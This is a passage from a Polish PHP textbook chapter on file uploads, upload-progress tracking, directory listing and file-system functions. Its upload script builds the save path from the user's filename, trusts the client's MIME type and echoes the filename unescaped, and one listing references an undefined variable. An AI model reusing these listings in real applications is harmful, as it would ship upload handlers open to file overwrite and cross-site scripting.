Aby zaimplementować wysyłanie plików, należy użyć składni HTML, opracowanej specjalnie
w tym celu. Kod HTML tego formularza jest przedstawiony na listingu 17.1.
Rozdział 17.  Interakcja z systemem plików i serwerem 381

Listing 17.1. wyslij.html — kod HTML służący do wysyłania plików


<!DOCTYPE html>
<html>
<head>
<title>Administracja — przesyłanie plików</title>
</head>
<body>
<h1>Przesyłanie plików</h1>
<form action="wyslij.php" method="post" enctype="multipart/form-data" />
<input type="hidden" name="MAX_FILE_SIZE" value="1000000" />
<label for="plikuzytkownika">Prześlij ten plik:</label>
<input name="plikuzytkownika" type="file" id="plikuzytkownika" />
<input type="submit" value="Wyślij" />
</form>
</body>
</html>

Warto zauważyć, że powyższy formularz używa metody POST — do przesyłania plików nie można
używać metody GET.

Nowości w tym formularzu to:


 W znaczniku <form> należy ustawić atrybut enctype="multipart/form-data", aby serwer
otrzymał informację, że plik przybędzie razem ze zwykłymi danymi formularza.
 Jeśli konfiguracja serwera nie określa maksymalnej dopuszczalnej wielkości przesyłanego
pliku (jak pokazano w tabeli 17.1), to trzeba będzie ją określić, używając dodatkowego
pola formularza. Jest to pole ukryte, określone powyżej jako:
<input type="hidden" name="MAX_FILE_SIZE" value="1000000">

 Wartość tego pola określa maksymalną wielkość pliku, jaki użytkownicy będą mogli przesłać
na serwer. W przedstawionym przykładzie rozmiar ten określiliśmy na 1 000 000 bajtów
(w przybliżeniu jeden megabajt). W swojej własnej aplikacji można go zwiększyć lub
zmniejszyć. Jeśli wartość MAX_FILE_SIZE zostanie określona przy użyciu pola ukrytego
formularza, to przesłoni ona ustawienia konfiguracyjne, jeżeli wartość MAX_FILE_SIZE
będzie mniejsza od wartości upload_max_filesize oraz post_max_size, podanych
w pliku php.ini.
 Należy wprowadzić pole tekstowe typu plikowego, co w powyższym przykładzie wygląda
następująco:
<input name="plikuzytkownika" type="file" id="plikuzytkownika" />

 Plik może mieć dowolną nazwę, lecz należy pamiętać, że będzie ona stosowana w celu
uzyskania dostępu do pliku przez odbierający skrypt PHP

Tworzenie kodu PHP obsługującego plik


Utworzenie skryptu PHP obsługującego przesłany plik nie należy do zadań skomplikowanych.

Kiedy plik zostaje wysłany, trafia do tymczasowego katalogu na serwerze WWW, wskazywanego
przez dyrektywę upload_tmp_dir w pliku php.ini. Zgodnie z opisem, który zawiera tabela 17.1,
jeżeli wartość dyrektywy nie jest zdefiniowana, domyślnie użyty zostanie główny tymczasowy
katalog serwera WWW, na przykład /tmp. Jeżeli nie nastąpi przeniesienie lub zmiana nazwy pliku,
nim skrypt się zakończy, plik ten zostanie skasowany w momencie zakończenia skryptu.
382 Część IV  Zaawansowane techniki PHP

Dane, które trzeba przetworzyć w skrypcie PHP, są przechowywane w superglobalnej tablicy


$_FILES. Poszczególne elementy tablicy $_FILES będą przechowywane pod nazwą znacznika
<file> znajdującego się w kodzie formularza HTML. W powyższym skrypcie element formularza
nosi nazwę plikuzytkownika, zatem tablica będzie miała następującą zawartość:
 Wartość przechowywana w $_FILES['plikuzytkownika']['tmp_name'] to miejsce
tymczasowej lokalizacji pliku na serwerze WWW.
 Wartość przechowywana w $_FILES['plikuzytkownika']['name'] to nazwa pliku w systemie
użytkownika.
 Wartość przechowywana w $_FILES['plikuzytkownika']['size'] to wielkość pliku
w bajtach.
 Wartość przechowywana w $_FILES['plikuzytkownika']['type']to typ pliku w systemie
MIME, na przykład text/plain lub image/gif.
 Wartość przechowywana w $_FILES['plikuzytkownika']['error']to kod błędu związanego
z wysyłaniem pliku.

Zakładając, że znana jest nazwa i położenie pliku, można go teraz skopiować w odpowiednie miejsce.
Na końcu wykonywania skryptu plik tymczasowy zostanie usunięty. Tak więc jeżeli ma on zostać
zachowany, należy wcześniej przenieść go lub zmienić jego nazwę.

W tym przykładzie przesyłane będą obrazy PNG, które skrypt będzie umieszczał w nowym katalogu
o nazwie /uploads/. Co więcej, konieczne będzie utworzenie tego katalogu w głównym katalogu
serwera WWW. Jeżeli katalog ten nie będzie istniał, przesyłanie pliku na serwer nie powiedzie się.

Skrypt wykonujący te działania jest przedstawiony na listingu 17.2.

Listing 17.2. wyslij.php — kod PHP odbierający pliki wysłane przez formularz HTML
<!DOCTYPE html>
<html>
<head>
<title>Wysyłanie...</title>
</head>
<body>
<h1>Wysyłanie pliku...</h1>

<?php

if ($_FILES['plikuzytkownika']['error'] > 0)
{
echo 'Problem: ';
switch ($_FILES['plikuzytkownika']['error'])
{
case 1:
echo 'Rozmiar pliku przekroczył wartość upload_max_filesize';
break;
case 2:
echo 'Rozmiar pliku przekroczył wartość max_file_size';
break;
case 3:
echo 'Plik przesłany tylko częściowo';
break;
case 4:
echo 'Nie wysłano żadnego pliku';
break;
case 6:
echo 'Nie można wysłać pliku: Nie wskazano katalogu tymczasowego.';
break;
Rozdział 17.  Interakcja z systemem plików i serwerem 383

case 7:
echo 'Wysłanie pliku nie powiodło się: Nie zapisano pliku na dysku.';
break;
case 8:
echo 'Rozszerzenie PHP zablokowało odebranie pliku na serwerze.';
break;
}
exit;
}

// czy plik ma prawidłowy typ MIME?


if ($_FILES['plikuzytkownika']['type'] != 'image/png')
{
echo 'Problem: plik nie był obrazkiem w formacie PNG.';
exit;
}

// umieszczenie pliku w pożądanej lokalizacji


$lokalizacja = '/wyslane/'.$_FILES['plikuzytkownika']['name'];

if (is_uploaded_file($_FILES['plikuzytkownika']['tmp_name']))
{
if (!move_uploaded_file($_FILES['plikuzytkownika']['tmp_name'], $lokalizacja))
{
echo 'Problem: Plik nie może być skopiowany do katalogu';
exit;
}
}
else
{
echo 'Problem: możliwy atak podczas wysyłania pliku. Nazwa pliku: ';
echo $_FILES['plikuzytkownika']['name'];
exit;
}

echo 'Plik został prawidłowo przesłany na serwer.';

// wyświetlenie przesłanego obrazka


echo '<p>Został przesłany następujący obrazek:<br/>';
echo '<img src="/wyslane/'.$_FILES['plikuzytkownika']['name'].'"/>';
?>
</body>
</html>

Co interesujące, większość tego skryptu ma za zadanie sprawdzić błędy. Wysyłanie pliku pociąga
za sobą potencjalne zagrożenie bezpieczeństwa, której to sytuacji należy w miarę możliwości unikać.
Należy sprawdzić prawidłowość wysłanego pliku na wszelkie sposoby, aby być pewnym, że można
bezpiecznie wyświetlić go odwiedzającym stronę.

Poniżej omówione są poszczególne części skryptu. Najpierw sprawdzany jest kod błędu zwracany
w $_FILES['plikuzytkownika']['error']. Istnieje również stała związana z każdym z kodów. Stałe
i wartości są następujące:
 UPLOAD_ERROR_OK, wartość 0 — oznacza, że nie pojawił się żaden błąd.
 UPLOAD_ERR_INI_SIZE, wartość 1 — oznacza, że rozmiar wysłanego pliku przekracza
wartość maksymalną wskazywaną w pliku php.ini za pomocą dyrektywy
upload_max_filesize.
 UPLOAD_ERR_FORM_SIZE, wartość 2 — oznacza, że rozmiar wysłanego pliku przekracza
wartość maksymalną określoną w kodzie formy HTML, w elemencie MAX_FILE_SIZE.
384 Część IV  Zaawansowane techniki PHP

 UPLOAD_ERR_PARTIAL, wartość 3 — oznacza, że wysłana została tylko część pliku.


 UPLOAD_ERR_NO_FILE, wartość 4 — oznacza, że żaden plik nie został wysłany.
 UPLOAD_ERR_NO_TMP_DIR, wartość 6 — oznacza, że w pliku php.ini nie wskazano katalogu
tymczasowego.
 UPLOAD_ERR_CANT_WRITE, wartość 7 — oznacza, że nie powiodła się operacja zapisu pliku
na dysku.
 UPLOAD_ERR_EXTENSION, wartość 8 — oznacza, że proces pobierania pliku został zatrzymany
przez jedno z rozszerzeń PHP.

Można także sprawdzić typ MIME, by zagwarantować, że na serwer przesyłane będą wyłącznie
pliki określonego typu. W naszym przykładzie chcemy wysyłać jedynie obrazki w formacie PNG.
W tym celu weryfikujemy typ MIME, odczytując $_FILES['plikuzytkownika']['type'] i spraw-
dzając, czy ma on wartość image/png. Tak naprawdę w ten sposób unikamy błędu, gdyż nie jest to
żadne zabezpieczenie. Typ MIME jest określany przez przeglądarkę na podstawie rozszerzenia pliku
oraz informacji w samym pliku, a następnie przekazywany na serwer.

Później należy sprawdzić, czy plik, który ma zostać otwarty, w istocie został wysłany i nie jest to
plik lokalny, jak na przykład /etc/passwd. Do tego zagadnienia wrócimy jeszcze na końcu tej
części rozdziału.

Po pozytywnym zweryfikowaniu wszystkich testów plik zostaje skopiowany do katalogu /wyslane/,


aby łatwiej było wyświetlić go na stronie; skrypt robi to na samym końcu, generując znacznik
<img/> zawierający ścieżkę do przesłanego pliku, tak by użytkownik mógł się przekonać, że
faktycznie został on pomyślnie przesłany.

Wynik jednego (udanego) uruchomienia powyższego skryptu jest przedstawiony na rysunku 17.2.
Rysunek 17.2.
Po skopiowaniu
i przeformatowaniu
wysłany plik jest
wyświetlany w celu
potwierdzenia
prawidłowości procesu
Rozdział 17.  Interakcja z systemem plików i serwerem 385

W powyższym przykładzie zastosowano funkcje is_uploaded_file() oraz move_uploaded_file()


do stwierdzenia, czy przetwarzany plik rzeczywiście został wysłany oraz czy nie jest to plik lokalny,
na przykład /etc/passwd.

Skrypt umożliwiający wysyłanie plików musi być napisany bardzo przemyślnie, ponieważ w prze-
ciwnym wypadku złośliwy użytkownik mógłby podać własną tymczasową nazwę pliku i sprawić,
że skrypt obsłuży ten plik jako wysłany. Ponieważ wiele skryptów wysyłających pliki wyświetla
użytkownikowi wysłane dane lub przechowuje je w miejscu, z którego mogą one być skopiowane,
istnieje niebezpieczeństwo umożliwienia użytkownikom dostępu do każdego pliku na serwerze
WWW. Mogłyby to być między innymi tak ważne pliki, jak /etc/passwd lub kod źródłowy PHP
zawierający hasła do bazy danych.
Przykład przedstawiony na listingach 17.1 oraz 17.2 obsługuje jedynie przesyłanie jednego pliku,
ale w prosty sposób można zmodyfikować formularz i skrypt w taki sposób, by obsługiwały
przesyłanie wielu plików. W takim przypadku zamiast jednego pola typu file należałoby
umieścić na formularzu więcej pól, jak również zmienić ich nazwę na tablicę, w której
będą przechowywane informacje o poszczególnych przesłanych plikach. Oto przykład:
<input type="file" name="plikiuzytkownika[]" id="plikiuzytkownika"/>
W skrypcie do poszczególnych elementów tej tablicy należy się odwoływać
przy użyciu ich indeksów, na przykład: $_FILES['plikiuzytkownika']['name'][0],
$_FILES['plikiuzytkownika']['name'][1] itd.

Śledzenie postępów przesyłania plików


W PHP 5.4 została wprowadzona możliwość śledzenia postępów przesyłania plików na serwer.
Jest ona szczególnie użyteczna w przypadku aplikacji, które wykorzystują technologię AJAX
do dostarczania użytkownikom informacji na bieżąco. W tradycyjnym modelu przesyłania plików
na serwer, takich jak ten przedstawiony w poprzednim punkcie rozdziału, nie jest dostępny żaden
sposób pozwalający na poinformowanie użytkownika o bieżącym stanie operacji przesyłania aż
do jej zakończenia. Natomiast w przypadku korzystania z mechanizmu sesyjnych postępów prze-
syłania plików można uzyskiwać te informacje na bieżąco, a następnie wyświetlać je użytkowni-
kom w jakiś użyteczny sposób.

Aby skorzystać z mechanizmu sesyjnych postępów przesyłania plików, w pierwszej kolejności


należy się upewnić, że z pliku php.ini zostaną usunięte komentarze, w których domyślnie umiesz-
czone są dyrektywy przedstawione w tabeli 17.2.

Tabela 17.2. Ustawienia konfiguracyjne mechanizmu sesyjnych postępów przesyłania w pliku php.ini

Dyrektywa Opis Wartość domyślna


session.upload_ Włącza śledzenie postępów przesyłania w zmiennej On
progress.enabled superglobalnej $_SESSION. Dostępne wartości to On i Off.
session.upload_ Usuwa informacje o postępach przesyłania plików, gdy zakończono On
progress.cleanup odczytywanie danych POST, czyli gdy plik został w całości
przesłany na serwer. Dostępne wartości to On i Off.
session.upload_ Ten prefiks jest używany jako fragment klucza informacji upload_progress_
progress.prefix o śledzeniu postępów przesyłania w tablicy superglobalnej
$_SESSION; ułatwia zagwarantowanie, że identyfikator ten będzie
unikalny.
session.upload_ Nazwa klucza informacji o śledzeniu postępów przesyłania PHP_SESSION_
progress.name w tablicy superglobalnej $_SESSION. UPLOAD_PROGRESS
386 Część IV  Zaawansowane techniki PHP

Tabela 17.2. Ustawienia konfiguracyjne mechanizmu sesyjnych postępów przesyłania w pliku php.ini

Dyrektywa Opis Wartość domyślna


session.upload_ Definiuje, jak często powinny być aktualizowane informacje 1%
progress.freq o postępach w przesyłaniu pliku; wartość tej opcji jest wyrażona
w bajtach lub procentach.
session.upload_ Definiuje minimalny czas pomiędzy aktualizacjami informacji 1
progress.min_freq o postępach w przesyłaniu pliku; wartość tej opcji jest wyrażona
w sekundach.

Kiedy powyższe opcje konfiguracyjne zostaną ustawione, w tablicy superglobalnej $_SESSION


będą zapisywane informacje o postępach w przesyłaniu pliku. Gdyby w ramach skryptu ob-
sługującego przesyłanie wyświetlić wszystkie zmienne dotyczące postępów zapisywane w tablicy
$_SESSION wraz z ich przykładowymi wartościami, to wyglądałyby one podobnie jak te przedsta-
wione poniżej:
[testy_postepow_przesylania] => Array
(
[start_time] => 1424047703
[content_length] => 43837
[bytes_processed] => 43837
[done] => 1
[files] => Array
(
[0] => Array
(
[field_name] => jakis_plik
[name] => B9l2dX8IAAAs-gT.png
[tmp_name] => /tmp/phpUVj0Bz
[error] => 0
[done] => 1
[start_time] => 1424047703
[bytes_processed] => 43413
)
)
)
)

Powyższe dane informują, że żądanie POST zostało przesłane o godzinie określonej znacznikiem
czasu o wartości 1424047703 (czyli w poniedziałek 16 lutego 2015 roku o godzinie 0:48 i 23 sekundy
czasu uniwersalnego — GMT) i zawierało dane o wielkości 43 837 bajtów. Całkowita liczba
przesłanych bajtów wyniosła 43837, a wartością pola done jest 1, co oznacza, że obsługa żądania
została zakończona. Gdyby wartość tego ostatniego pola wyniosła 0, oznaczałoby to, że żądanie
POST jeszcze nie zostało zakończone.

Dostępna jest także dodatkowa tablica z informacjami o poszczególnych plikach. W przedstawionym


przykładzie tablica ta zawiera tylko jeden zestaw kluczy, co oznacza, że na serwer jest przesyłany
tylko jeden plik. Konkretnie rzecz biorąc, jest to plik podany w polu o nazwie jakis_plik, który
ma nazwę B9l2dX8IAAAs-gT.png i którego zawartość jest tymczasowo zapisywana w pliku
o /tmp/phpUVj0Bz, a operacja rozpoczęła się o godzinie, której odpowiada znacznik czasu
1424047703. Plik został przesłany bez żadnych błędów, pole done ma wartość 1 (true), a liczba
przetworzonych bajtów wyniosła 43837.

Wartości pól content_length oraz bytes_processed mają znaczenie w przypadku tworzenia i pre-
zentowania paska postępów przesyłania po stronie klienta, który to pasek będzie pozwalał użytkow-
nikowi na śledzenie przebiegu operacji. Ponieważ informacje o postępach przesyłania są zapisywane
Rozdział 17.  Interakcja z systemem plików i serwerem 387

w sesji użytkownika, po rozpoczęciu sesji i operacji przesyłania pliku w jednym skrypcie (obsłu-
gującym przesłanie) można je odczytywać w innym — takim, który będzie odczytywał wartości
pól content_length oraz bytes_processed z sesji dla konkretnego pliku lub plików. Gdyby taki
skrypt był cyklicznie i asynchronicznie wywoływany, na przykład przy użyciu żądań AJAX, to
wystarczyłoby zastosować proste matematyczne obliczenia, by określić w procentach, jaka
część pliku została przesłana (w tym celu wystarczyłoby podzielić liczbę przesłanych bajtów
przez całkowitą wielkość pliku i wynik pomnożyć przez 100).

Najczęściej spotykane problemy


Podczas wysyłania plików należy pamiętać o kilku zasadach:
 W przedstawionym wcześniej przykładzie skryptu obsługującego przesyłanie pliku nie były
wykonywane żadne opercje uwierzytelniania; koniecznie jednak należy zadbać o to,
by możliwość przesyłania plików na serwer była dostępna wyłącznie po odpowiednim
uwierzytelnieniu i autoryzacji użytkownika. Nie można pozwolić przypadkowym osobom
na wysyłanie plików do witryny.
 Jeżeli jednak dostęp do wysyłania plików posiadają nieuwierzytelnieni bądź niegodni
zaufania użytkownicy, należy niezwykle szczegółowo badać zawartość tychże plików.
Żaden administrator nie chciałby mieć w swoim systemie działającego, złośliwie napisanego
skryptu. Należy zwrócić uwagę nie tylko na typ i zawartość, jak w powyższym przykładzie,
ale także na nazwę pliku. Dobrym pomysłem jest zmiana nazwy wysyłanych plików
na bezpieczną, tak by ktoś, kto prześle na serwer plik spełniający wszelkie oczekiwania
w celu użycia go później w złych celach, nie mógł tego zrobić, gdyż pierwotna nazwa pliku
zostanie zmieniona.
 Aby zmniejszyć ryzyko, że niektórzy uzytkownicy zaczną przeglądać katalogi na serwerze,
można zmodyfikować nazwy plików przychodzących za pomocą funkcji basename().
Usunie ona z nazwy pliku nazwy katalogów, które zawiera się w nazwie pliku w celu
przeprowadzenia ataku i umieszczenia pliku w określonym katalogu serwera. Przykład
użycia funkcji basename() może mieć następującą postać:
<?php
$sciezka = "home/httpd/html/index.php";
$plik1 = basename($sciezka);
$plik2 = basename($sciezka, ".php");
print $plik1 . "<br/>"; // $plik1 ma wartość "index.php"
print $plik2 . "<br/>"; // $plik2 ma wartość "index"
?>

 Korzystając z systemów opartych na Windows, należy pamiętać o stosowaniu \\ lub /,


a nie \ w nazwach ścieżek.
 Używanie nazwy pliku podanej przez użytkownika w sposób pokazany w zamieszczonym
wcześniej skrypcie może być przyczyną różnych problemów. Najbardziej oczywisty
z nich polega na możliwości przypadkowego nadpisania wcześniej przesłanego pliku
plikiem o takiej samej nazwie przesyłanym przez innego użytkownika. Inny problem, już
nie tak oczywisty, wynika z faktu, iż w różnych systemach operacyjnych i przy różnych
ustawieniach międzynarodowych zestawy znaków akceptowanych w nazwie pliku mogą
się różnić. Wysyłany plik może więc zawierać w nazwie znaki niedozwolone w używanym
systemie operacyjnym.
 Jeżeli wysyłanie plików nie działa tak, jak powinno, należy sprawdzić plik php.ini. Trzeba
tak ustawić wartość opcji upload_tmp_dir, aby wskazywała na katalog, do którego posiada
się dostęp. Konieczne może okazać się także ustawienie dyrektywy memory_limit, jeżeli
388 Część IV  Zaawansowane techniki PHP

przewiduje się wysyłanie dużych plików — dyrektywa ta określa w bajtach maksymalną


wielkość wysyłanego pliku. Również na serwerze Apache konfiguruje się ustawienia związane
z czasem wygaśnięcia oraz limitem rozmiaru transakcji, które trzeba będzie wziąć pod uwagę
w przypadku problemów z przesyłaniem większych plików.

Stosowanie funkcji katalogowych


Po wysłaniu przez użytkowników pewnych plików powinni oni zobaczyć, co zostało wysłane, oraz
mieć możliwość manipulacji zawartością plików. PHP posiada zbiór funkcji katalogowych i systemu
plików, które mogą okazać się w tym wypadku użyteczne.

Odczyt z katalogów
W pierwszej kolejności zostanie zaimplementowany skrypt pozwalający na przeglądanie ka-
talogu wysłanych plików. Przeglądanie katalogów w PHP nie powinno nastręczać problemów.
Na listingu 17.3 przedstawiono prosty skrypt wykonujący to zadanie.

Listing 17.3. przegkat.php — wyświetlenie zawartości katalogu wysłanych plików


<!DOCTYPE html>
<html>
<head>
<title>Przeglądanie katalogów</title>
</head>
<body>
<h1>Przeglądanie</h1>

<?php
$obecny_kat = '/sciezka/do/wyslane/';
$kat = opendir($obecny_kat);

echo '<p>Katalog plików wysłanych to '.$obecny_kat.'</p>';


echo '<p>Zawartość katalogu:</p><ul>';

while (false !== ($plik = readdir($kat)))


{
// usunięcie dwóch pozycji: . i ..
if ($plik != "." && $plik != "..")
{
echo "<li>$plik</li>";
}
}
echo '</ul>';
closedir($kat);
?>

</body>
</html>

Powyższy skrypt korzysta z funkcji opendir(), closedir() i readdir().

Funkcja opendir() jest stosowana do otwierania katalogu do odczytu. Jej użycie jest podobne do
zastosowania funkcji fopen() do odczytywania z plików. Zamiast przekazywać funkcji nazwę
pliku, wysyła się jej nazwę katalogu:
$kat = opendir($obecny_kat);
Rozdział 17.  Interakcja z systemem plików i serwerem 389

Funkcja zwraca uchwyt katalogu w sposób bardzo podobny do zwracania przez funkcję fopen()
uchwytu pliku.

Kiedy katalog zostaje otwarty, można odczytać z niego nazwę pliku poprzez wywołanie
readdir($kat), jak przedstawiono w przykładzie. Funkcja ta zwraca false, kiedy wszystkie pliki
zostaną już odczytane. Należy zapamiętać, że funkcja ta zwróci false również wtedy, gdy odczyta
plik o nazwie „0”. Aby uchronić się przed takim przypadkiem, w kodzie jawnie sprawdzany jest
wynik odczytu katalogu, co pozwala zapewnić, że zwracana wartość nie jest równa false:
while (false !== ($plik = readdir($kat)))

Kiedy odczytywanie danych z katalogu zostanie zakończone, należy wywołać closedir ($kat),
aby je zakończyć. Funkcja ta jest podobna do funkcji fclose() zamykającej plik.

Przykładowy wynik działania skryptu przeglądającego katalogi jest przedstawiony na rysunku 17.3.

Rysunek 17.3.
Listing zawartości
katalogu wyświetla
wszystkie pliki
wybranego katalogu

Na liście widocznej na rysunku 17.3 zwykle wyświetlane są także katalogi . (katalog bieżący) oraz
.. (katalog nadrzędny). W przykładowym kodzie obydwa katalogi zostały jednak pominięte, za
co odpowiada następujący wiersz:
if ($plik != "." && $plik != "..")

Jeżeli wiersz ten zostanie z kodu usunięty, wówczas na prezentowanej liście katalogów pojawią się
również katalogi . i ...

Jeżeli przeglądanie katalogów ma być realizowane poprzez ten mechanizm, rozsądne jest ograni-
czenie katalogów udostępnionych do przeglądu. Chodzi o to, by użytkownik nie mógł przeglądać
katalogów w obszarach, do których zwykle nie ma dostępu.

Powiązaną i często przydatną funkcją jest rewinddir($kat), która powraca do odczytywania nazw
plików od początku katalogu.

Alternatywą dla tych funkcji jest klasa dir dostarczana przez PHP. Posiada ona własności handle
(uchwyt) i path (ścieżka) oraz metody read(), close() i rewind(), które zachowują się identycznie
jak ich nieklasowe odpowiedniki.

Na listingu 17.4 znajduje się podobny przykład, w którym użyto klasy dir.
390 Część IV  Zaawansowane techniki PHP

Listing 17.4. przegkat2.php — wyświetlenie zawartości katalogu wysłanych plików przy użyciu klasy dir
<!DOCTYPE html>
<html>
<head>
<title>Przeglądanie katalogów</title>
</head>
<body>
<h1>Przeglądanie</h1>

<?php
$kat = dir("/sciezka/do/wyslane/");

echo '<p>Uchwytem katalogu jest '.$kat->handle.'</p>';


echo '<p>Katalog plików wysłanych to '.$kat->path.'</p>';
echo '<p>Zawartość katalogu:</p><ul>';

while (false !== ($plik = $kat->read()))


// usunięcie dwóch pozycji: . i ..
if ($plik != "." && $plik != "..")
{
echo '<li>'.$plik.'</li>';
}

echo '</ul>';
$kat->close();
?>

</body>
</html>

Pliki wyświetlane przez przykładowy skrypt nie są w żaden sposób porządkowane, dlatego aby
uzyskać posortowaną listę, można użyć funkcji o nazwie scandir(). Można z niej skorzystać
w celu umieszczenia nazw plików w tablicy i posortowania nazw w porządku alfabetycznym
— rosnąco lub malejąco, jak na listingu 17.5.

Listing 17.5. scandir.php — wykorzystanie funkcji scandir() do alfabetycznego uporządkowania nazw plików
<!DOCTYPE html>
<html>
<head>
<title>Przeglądanie katalogów</title>
</head>
<body>
<h1>Przeglądanie</h1>

<?php
$kat = '/sciezka/do/wyslane/';
$pliki1 = scandir($kat);
$pliki2 = scandir($kat, 1);

echo "<p>Katalog plików wysłanych to $dir</p>";


echo '<p>Zawartość katalogu w porządku alfabetycznym, w kolejności rosnącej:</p><ul>';

foreach($pliki1 as $plik)
{
if($plik != "." && $plik != "..")
{
echo '<li>'.$plik.'</li>';
}
}
Rozdział 17.  Interakcja z systemem plików i serwerem 391

echo '</ul>';

echo '<p>Katalog plików wysłanych to '.$dir.'</p>';


echo '<p>Zawartość katalogu w porządku alfabetycznym, w kolejności malejącej:</p><ul>';

foreach($pliki2 as $plik)
{
if($plik != "." && $plik != "..")
{
echo '<li>'.$plik.'</li>';
}
}

echo '</ul>';

?>
</body>
</html>

Otrzymywanie informacji
na temat aktualnego katalogu
Pewne dodatkowe informacje na temat systemu plików można uzyskać po określeniu ścieżki
dostępu do pliku. Na przykład funkcje dirname($sciezka) i basename($sciezka) zwracają części
ścieżki, odpowiednio: katalogową i plikową. Może to być użyteczne dla skryptu przeglądającego
katalogi, szczególnie jeżeli istnieje skomplikowana struktura katalogów o zawartości opartej na
znaczących nazwach katalogów i plików.

Do listingu zawartości katalogu można dodać również wskazanie ilości wolnego miejsca na wysłane
pliki, stosując funkcję disk_free_space($sciezka). Po przekazaniu tej funkcji ścieżki do katalogu
zwróci ona liczbę wolnych bajtów na dysku (Windows) lub w systemie plików (UNIX), w którym
znajduje się katalog.

Tworzenie i usuwanie katalogów


Oprócz pasywnego czytania informacji na temat katalogów można zastosować funkcje PHP mkdir()
i rmdir() do tworzenia i usuwania katalogów. Można tworzyć i usuwać jedynie katalogi należące
do ścieżek, do których ma dostęp skrypt określonego użytkownika.

Stosowanie funkcji mkdir() jest bardziej skomplikowane, niż mogłoby się wydawać. Pobiera ona
dwa parametry, ścieżkę pożądanego katalogu (włączając w to nazwę nowego katalogu) oraz upraw-
nienia, które ten katalog powinien posiadać. Oto odpowiedni przykład:
mkdir("/tmp/test", 0777);

Jednak uprawnienia, które zostaną przekazane, niekoniecznie są uprawnieniami otrzymanymi przez


katalog. Aktualna wartość parametru umask zostanie zastosowana (AND działa jak odejmowanie tych
wartości) do przekazanej wartości i w rezultacie da ostateczne uprawnienia. Na przykład jeżeli umask
ma wartość 022, ostateczne uprawnienia wyniosą 0755.

Możliwe jest wyzerowanie parametru umask przed stworzeniem katalogu, aby uniknąć jego dzia-
łania. Odbywa się to poprzez wpisanie:
$staryumask = umask(0);
mkdir("/tmp/test", 0777);
umask($staryumask);
392 Część IV  Zaawansowane techniki PHP

Powyższy kod stosuje funkcję umask(), które może być użyta do sprawdzania i zmiany aktualnej
wartości umask. Zmieni ona wartość umask na dowolną wartość jej przekazaną i zwróci poprzednią
wartość umask. Jeżeli zaś zostanie wywołana bez parametrów, zwróci aktualną wartość umask.
Należy zaznaczyć, że funkcja umask() nie działa w systemie Windows.
Funkcja rmdir() usuwa katalog następująco:
rmdir("/tmp/test");
lub
rmdir("c:\\tmp\\test");

Katalog przeznaczony do usunięcia musi być pusty.

Interakcja z systemem plików


Oprócz przeglądania i otrzymywania informacji na temat katalogów można współpracować
i otrzymywać informacje na temat plików na serwerze WWW. Poprzednio zostały przedstawione
zasady zapisywania i odczytywania plików. Dostępnych jest jednak wiele innych funkcji związa-
nych z systemem plików, a szczegółowe informacje na ich temat można znaleźć na stronie
http://php.net/manual/pl/book.filesystem.php.

Pobieranie informacji o pliku


W celu przedstawienia informacji o plikach, jakie można pobierać, w pierwszej kolejności zmo-
dyfikowany zostanie fragment zaprezentowanego wcześniej skryptu odpowiadający za odczyt pli-
ków dostępnych w katalogu — będzie on generował odnośnik do kolejnego skryptu, który zosta-
nie pokazany na następnym listingu. Fragment ten, zamiast wyświetlać nazwę pliku jako element
listy wypunktowanej, będzie ją wyświetlał w formie odnośnika stanowiącego elementy listy:
echo '<li><a href="wlasiwoscipliku.php?plik='.$plik.'">'.$plik.'</a></li>';

Teraz można utworzyć kolejny skrypt, własciwoscipliku.php, który będzie wyświetlał dodatkowe
informacje dotyczące tego pliku; jego kod został przedstawiony na listingu 17.6.

Listing 17.6. własciwoscipliku.php — funkcje stanu pliku i wyniki ich działania


<!DOCTYPE html>
<html>
<head>
<title>Właściwości pliku</title>
</head>
<body>
<?php

if (!isset($_GET['plik']))
{
echo "Nie podano nazwy pliku.";
}
else {
$aktualny_kat='/sciezka/do/wyslane/';
$plik=basename($_GET['plik']); //usunięcie dla bezpieczeństwa informacji na temat katalogu

$bezpieczny_plik = $aktualny_kat.$plik;

echo '<h1>Właściwości pliku: '.$plik.'</h1>';


Rozdział 17.  Interakcja z systemem plików i serwerem 393

echo '<h2>Właściwości pliku</h2>';


echo 'Ostatnio otwarty: '.date('j F Y H:i', fileatime($bezpieczny_plik)).'<br>';
echo 'Zmodyfikowany: '.date('j F Y H:i', filemtime($bezpieczny_plik)).'<br>';

$uzytkownik=posix_getpwuid(fileowner($bezpieczny_plik));
echo 'Właściciel pliku: '.$uzytkownik['name'].'<br>';

$grupa=posix_getgrgid(filegroup($bezpieczny_plik));
echo 'Grupa pliku: '.$grupa['name'].'<br>';

echo 'Uprawnienia pliku: '.decoct(fileperms($bezpieczny_plik)).'<br>';


echo 'Typ pliku: '.filetype($bezpieczny_plik).'<br>';
echo 'Rozmiar pliku: '.filesize($bezpieczny_plik).'<br>';

echo '<h2>Testy pliku</h2>';


echo 'is_dir: '.(is_dir($bezpieczny_plik)? 'tak' : 'nie').'<br>';
echo 'is_executable: '.(is_executable ($bezpieczny_plik)? 'tak' : 'nie').'<br>';
echo 'is_file: '.(is_file($bezpieczny_plik)? 'tak' : 'nie').'<br>';
echo 'is_link: '.(is_link($bezpieczny_plik)? 'tak' : 'nie').'<br>';
echo 'is_readable: '.(is_readable($bezpieczny_plik)? 'tak' : 'nie').'<br>';
echo 'is_writable: '.(is_writable($bezpieczny_plik)? 'tak' : 'nie').'<br>';
}
?>
</body>
</html>

Przed zaprezentowaniem tego skryptu Czytelnikom należy się ważna informacja: niektóre użyte
w nim funkcje, między innymi posix_getpwuid(), fileowner() i filegroup(), nie działają w systemie
Windows bądź działają w nim nieprawidłowo.
Wynik przykładowego uruchomienia skryptu z listingu 17.6 jest przedstawiony na rysunku 17.4.

Rysunek 17.4.
Właściwości pliku
pokazują informacje
systemu plików
na temat tego pliku.
Należy zauważyć,
że uprawnienia
są wyświetlane
w formacie ósemkowym
394 Część IV  Zaawansowane techniki PHP

Poniżej zostały omówione funkcje użyte w listingu 17.6. Jak wspomniano, funkcja basename()
pobiera nazwę pliku bez katalogu. (Można również zastosować funkcję dirname() wyświetlającą
nazwę katalogu bez nazwy pliku).
Funkcje fileatime() i filemtime() zwracają znacznik czasu, wskazujący odpowiednio czas ostatnie-
go otworzenia i modyfikacji pliku. Znaczniki czasu zostały przeformatowane za pomocą funkcji
date(), tak aby były łatwiejsze do odczytania. Funkcje te zwrócą identyczne wartości w niektórych
systemach operacyjnych (jak w przykładzie), zależnie od informacji w nich przechowywanych.

Funkcje fileowner() i filegroup() zwracają identyfikator użytkownika (uid) i grupy (gid) tego
